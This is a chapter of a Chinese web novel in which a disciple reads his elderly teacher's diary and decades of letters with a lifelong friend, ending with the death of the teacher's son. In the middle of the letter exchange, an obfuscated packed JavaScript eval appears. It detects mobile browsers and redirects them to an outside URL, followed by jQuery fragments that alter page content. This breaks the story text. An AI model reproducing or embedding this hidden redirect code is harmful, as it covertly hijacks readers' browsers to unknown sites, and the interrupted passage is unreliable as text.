【五月十七，夜，风雨如晦，鸿云待我不至，悲甚，遂病。五月十八，我前往纪园探病。鸿云病重不能言，药石不入，我恐其误解过甚，留信一封，乃《定风波》。
攻书学剑能几何，争如沙场骋偻逻。手执绿沉枪似铁，明月，龙泉三尺剑新磨。
堪羡昔时军伍，谩夸儒士德能多。四塞忽闻狼烟起，问儒士，谁人敢去定风波?】
“师父，”柏阅冬小心翼翼地捧着周先生的日记本，钢笔墨水在纸上有力地勾勒出他当年的悲欢离合，无奈与痛苦，“这简直是史料，是文物！”
周先生只是笑笑：“当年哪里懂这些？随便写写。”
柏阅冬想到那会的乱状，若换了他，恐怕活不下去。
“师父，纪老先生一直等您吗？”
周先生点点头：“他在唐家弄等不到我，就跑到我家来。那天晚上雷雨交加，后来听人说路都淹了。鸿云在我们家门口一直喊我的名字，堪称悲怆。”
那是他的生母告诉他的。他的生母生了三个孩子，衰老得很快，加上不认字，在家中也没地位，跟懋恭的交流仅限于闲谈，再无其他。但是那天晚上，她寥寥数语，如同一把尖刀直直刺向懋恭的心脏。
“那孩子在外头喊你，跟叫魂似的。雷劈得轰轰响，都没压住他那声儿。”
周懋恭蜷在床上，彻夜未眠。
大雨足足下了一夜，第二日凌晨才停歇，二奶奶遣人送早饭来，门一开，周懋恭便看见外头微弱天光，凉意袭来，抖出他一身鸡皮疙瘩。
“妈，鸿云呢？”
二奶奶不看他，指挥小丫头把早饭放下：“昨夜纪园来人，把他接回去了。”
“为什么不让我见他？”
“懋恭，你知不知道他在做什么？那是要死人的呀！”二奶奶一气之下，干脆把所有的事情都抖了出来，“我和你爹已经想好了，把你送到你大哥那里去，你去外面好好读书，不要再想这些！船票已经给你买好，过几天你就走，你那些同学不要再联系了！”
“不行！我说过我不走！我要去见鸿云！”
“你怎么去？你根本就跨不出这个院子一步！”
“那我也不出国，你们要逼我出国，我就，我就死给你们看！”
二奶奶定定地看着他，眼里缓缓涌上一层薄泪，最后什么也没说，转身走了出去。
“可是师父，您日记里写您那天去纪园了呀！”
周先生点点头：“是去了，僵持了一天，还是去了。”
“他们怎么肯让您去？”
“因为我也答应他们了。”周先生已经回忆不起当时的煎熬，只记得很多长辈来劝他，父亲又说要打他，家法都请来了，二奶奶拼命拦着，说什么也不给他，他心一软，就答应了。
作为交换条件，他也得以走出宅子，前往纪园。
“纪老先生知道您的意思吗？”
“他知道。”周先生笑笑，“他一直都知道我。”
【五月十七，大雨，懋恭遭禁，我冒雨前往周宅，未能一见，悲恸不已，以至晕厥。后于家中醒转，得见懋恭所留《定风波》一首。
五月十九，我覆信至周宅，亦《定风波》也。
征战偻啰未足多，儒士偻啰转更加。三策张良非恶弱，谋略，汉兴楚灭本由他。
项羽翘据无路，酒后难消一曲歌。霸王虞姬皆自刎，当本，便知儒士定风波。
其时风雨飘摇，懋恭颇负报国之志，而身不由己，哀甚！】
在那两篇《定风波》后，周懋恭收拾行李，上了前往日本的船，他去日本，再折去美国，此后，便是与祖国漫长的分离。
“我在那边继续上中学，大概入学一周，就迫不及待给鸿云写信写明信片。”周先生捧过那本册子，翻过两页，指着上面的明信片道，“这是当时的明信片，一张明信片要寄好久好久。”
“这是纪老先生回给您的信？”柏阅冬翻着后面十几页，感叹道，“好多啊！”
“其实应该更多的，我搬过几次家，丢失了一些，很可惜。”
柏阅冬歪头看了几张，不由得笑了起来：“师父，您和纪老先生写信也不是天天谈国家大事嘛！”
“我们是人，又不是机器，哪能总是牵挂这些大事？人的心，是需要呼吸的。”
柏阅冬点点头，认真翻看起来，仿佛看到两个最要好的朋友隔着太平洋同呼吸共命运。
——鸿云，此处先生不打人。
——懋恭，此间夫子还打人。
——懋恭，我将入国立中央大学文学院学习，我父甚喜，一再告诫我须传承中华千年学术，吾恐令其失望也！
——鸿云，美国亦有许多汉学家，专攻中国古代文学，然大学未设相关课程，我只得修习欧美文学。欧美文学与中国文学大不相同，可研究处甚多，来日可与你切磋。
——懋恭，我已成婚，妻乃松江任氏女，温婉可人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537603|143212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我仍在南京学习，吾妻替我主持家中事，我万分感激。
——鸿云，我婚期亦近，然与你相距万里，实为人生一大憾事。
——鸿云，吾有一子，单名，从言，名谨。
——懋恭，我亦有一子，单名，从心，名慎。
“师父！”柏阅冬听师父说到这里，忍不住叫出了声，“你们给孩子取名商量好的吗？”
“并没有。”
居然没有！居然有这种默契，奇了怪了！
周懋恭笑了笑，缓缓道：“谨儿是我的长子，我那时候刚毕业，在中学里教书，生活很艰苦。谨儿跟着我，一直到四五岁，我才谋得一个大学里助教的职位，开始写一些研究性的文章。鸿云在南京毕业后，告诉我他已留校任教，后来又到北平文科研究所，我当时还觉得他过分奔波，没想到，竟逃过一劫。”
——懋恭，南京之事令人发指，城中几乎不留活口。我在北平夜不能寐，恐家中父母妻儿亦遭此毒手，我父亦恐甚，不断写信询问我的消息，言阿慎夜夜呼唤其父。我为子未有一日尽孝，为父不曾庇佑呵护阿慎，来日阿慎必以此为一大恨！
——鸿云，南京之事我亦耳闻，思之落泪，吾之同胞手无寸铁而受尽折磨凌辱，实乃奇耻大辱！鸿云务必保重自身，不必挂念我。
“再过两年，我就可以独立上课了，成为了大学里的讲师。经济状况好了很多，我又有了第二个孩子。”
“谨儿十三岁那年，我收了第一个博士生，就是吴潼。”
柏阅冬猛地睁大了眼睛——他最想知道的事情来了。
“吴潼是华人，研究中国文学对他来说是一件讨巧的事。其实我不是没看出来他为人不踏实，可是我并没有那么多选择。读博士的人本来就少，读博士的华人、中国人更少，而读博时期愿意研究中国文学的，堪称凤毛麟角。我在吴潼身上寄托了太多的期待，多得我们两个都承受不起，最后只能鱼死网破玉石俱焚。”
柏阅冬连呼吸都轻了，问：“您责打他，是真的？”
“是真的，我那时候压力很大，怕第一个博士就带不好，情绪反复，控制不好自己，一动手就很重，他说是毒打，那就是吧。”
“那，官司的事……”
“本来可以赢的，”周先生揉了揉他的头，嘴角还勾着，眼里却闪出了泪光，“可是在开庭前两天，谨儿出事了。”
“他跟着同学出去玩，开着汽车，冲下了悬崖。”